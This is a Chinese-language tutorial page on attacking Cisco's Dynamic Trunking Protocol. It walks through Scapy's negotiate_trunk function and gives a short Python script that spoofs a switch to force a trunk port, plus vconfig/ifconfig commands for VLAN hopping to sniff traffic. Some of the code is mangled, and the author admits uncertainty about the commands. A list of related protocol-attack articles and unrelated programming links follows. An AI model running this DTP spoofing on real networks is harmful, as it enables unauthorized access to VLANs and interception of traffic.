DTP协议

  动态中继协议DTP(Dynamic Trunking Protocol)是一种Cisco私有协议。DTP用于两台交换机的直连二层端口探测对端的配置,自动协商出二层端口的链路类型和以太网封装进而与对端自适应。这样当对端修改时,就不用手工修改本端配置,通过协议自适应更改即可。DTP的重要作用是,在组网不确定的情况下,可以实现即插即用;修改网络拓扑时,也不用手工修改二层端口的配置。

  DTP利用第二层中继帧,在两台交换机的直连端口之间进行通信。DTP报文仅限于两个直连端口之间的通信,维护两个直连端口的链路类型和以太网封装类型。

  如果交换机开启了DTP协议,攻击者假冒交换机向目标交换机发送Dynamic desirable数据包,那么会把目标端口变成Trunking端口,这意味着我们可以通过修改本机配置进入任何一个VLAN,同时可以VLAN跳跃攻击方式,监听所有数据。


发送Dynamic desirable数据包

  在Scapy.contrib.dtp包中有一个negotiate_trunk方法,原型如下:

  def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):

    print "Trying to negotiate a trunk on interface %s" %iface

    p = Dot3(src=mymac, dst='01:00:0c:cc:cc:cc')/LLC()/SNAP()/

      DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

      sendp(p)

   该方法第一个参数需要我们传入发送数据包的网卡,第二个是可选参数,可以用来传入要假冒的交换机的MAC地址。

    如果不传入,会随机产生一个。

#!/usr/bin/python
import sys
from scapy.layer2.l2 import Dot3,LLC,SNAP
from scapy.contrib.dtp import * if len(sys.argv) < 2:
print sys.argv[0] + " <dev>"
sys.exit() negotiate_trunk(iface=sys.argv[1])

  数据包发送之后,会有一些延迟才会生效。(注意)

  如下命令(具体还不确定是干什么呢):--------好像是修改本机配置,进入一个vlan

  vconfig add eth0 <vlan-id>

  ifconfig eth0.<vlan-id> <ip_of_vlan> up

建议:最好关掉DTP协议。

DTP协议攻击的更多相关文章

  1. 20169202 2016-2017-2《TCP/IP协议攻击》实验总结--十一周

    APR缓存中毒(ARP cache poisoning) 实验原理 ARP缓存是ARP协议的重要组成部分.ARP协议运行的目标就是建立MAC地址和IP地址的映射,然后把这一映射关系保存在ARP缓存中, ...

  2. 针对CDP协议攻击分析及安全防护

    针对CDP协议攻击分析及安全防护 熟悉Cisco的朋友都知道CDP协议是思科公司独特的发现协议,在思科公司出产的所有路由器和交换机里面都能运行此协议,一台运行C D P的路由器或交换机能够得知与它直接 ...

  3. TCP/IP网络协议攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 这部分涉及: ARP缓存欺骗攻击 ICMP重定向攻击 SYN FLOOD ...

  4. 20169219 TCP_IP网络协议攻击实验报告

    (1) ARP缓存欺骗 RP 缓存是 ARP 协议的重要组成部分.ARP 协议运行的目标就是建立 MAC 地址和 IP 地址的映射,然后把这一映射关系保存在 ARP 缓存中,使得不必重复运行 ARP ...

  5. Python黑帽编程 3.5 DTP攻击

    Python黑帽编程 3.5 DTP攻击 在上一节,<Python黑帽编程 3.4 跨越VLAN>中,我们讨论了一般的VLAN中实施攻击的方法,这一节属于扩展内容,简单演示下Cisco特有 ...

  6. Python黑帽编程 4.0 网络互连层攻击概述

    Python黑帽编程 4.0 网络互连层攻击概述 是时候重新温习下下面这张图了. 图2 本章的内容核心包含上图中的网络层和传输层.TCP/IP是整个网络协议体系中的核心,因为从这里开始,数据传输从局域 ...

  7. 多协议底层攻击工具Yesinia

    多协议底层攻击工具Yesinia   Yesinia是一款底层协议攻击工具.它提供多种运行模式,如终端文本模式.GTK图形模式.NCurses模式.守护进程模式.它利用各种底层协议的漏洞实施攻击,支持 ...

  8. http2协议翻译(转)

    超文本传输协议版本 2 IETF HTTP2草案(draft-ietf-httpbis-http2-13) 摘要 本规范描述了一种优化的超文本传输协议(HTTP).HTTP/2通过引进报头字段压缩以及 ...

  9. 【转】SPDY协议

    SPDY协议 - v3 原文:SPDY Protocol - Draft 3 翻译:邱鹏滔(QQ: 95350530,主页:www.fireflysource.com) 1 概述 HTTP协议的瓶颈在 ...

随机推荐

  1. number (2)编译错 (类的大小写错误) Filewriter cannot be resolved to a type

    没找到所使用的类所在的类定义,一般常见于使用了外部jar中的类,但有对应的import语句.比如,如果程序中使用了ArrayList这个类,但你程序类文件的最开始import部分如果没有import  ...

  2. parent()、parents()和parentsUntil()的区别

    1.parent() 返回被选元素的直接父元素,该方法只会向上一级对 DOM 树进行遍历: 2.parents() 返回被选元素的所有祖先元素,它一路向上直到文档的根元素 (<html>) ...

  3. 通过几个例子看sed的模式空间与保持空间

    SED之所以能以行为单位的编辑或修改文本,其原因在于它使用了两个空间:一个是活动的“模式空间(pattern space)”,另一个是起辅助作用的“暂存缓冲区(holdingspace)这2个空间的使 ...

  4. Lodop在页面获取打印机列表 选择打印机预览

    利用GET_PRINTER_COUNT,获取打印机个数,然后用GET_PRINTER_NAME(intPrinterIndex);循环获取打印机名称,添加到list列表里,可以让用户在页面就选择打印机 ...

  5. js 实现List

    js 实现List 列表是一组有序的数据.每个列表中的数据项称为元素.在 JavaScript 中,列表中的元素可以是任意数据类型. 我们可以根据数组的特性来实现List. List 抽象数据类型定义 ...

  6. MT【238】内心轨迹

    已知$F_1,F_2$为椭圆$C:\dfrac{x^2}{4}+\dfrac{y^2}{3}=1$的左右焦点,点$P$在椭圆$C$上移动时,$\Delta{F_1PF_2}$的内心$I$的轨迹方程为_ ...

  7. [luogu4268][bzoj5195][USACO18FEB]Directory Traversal

    题目大意 给你\(n\)个文件的关系,求出某一个点,这个点到叶节点的长度的总距离最短.(相对长度的定义在题目上有说明) 感想 吐槽一下出题人,为什么出的题目怎么难看懂,我看了整整半个小时,才看懂. 题 ...

  8. ThinkPHP5 隐藏index.php问题

    隐藏index.php 可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则. 以Apache为例,需要在入口文件的同级添加.htaccess文件(官方默认自带了 ...

  9. POJ1088(记忆搜索加dp)

    滑雪 Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 106415   Accepted: 40499 Description ...

  10. C# 推箱子游戏&对战游戏

    推箱子游戏提纲,只有向右向上的操作,向左向下同理,后期需完善. namespace 推箱子 { class Program { static void Main(string[] args) { // ...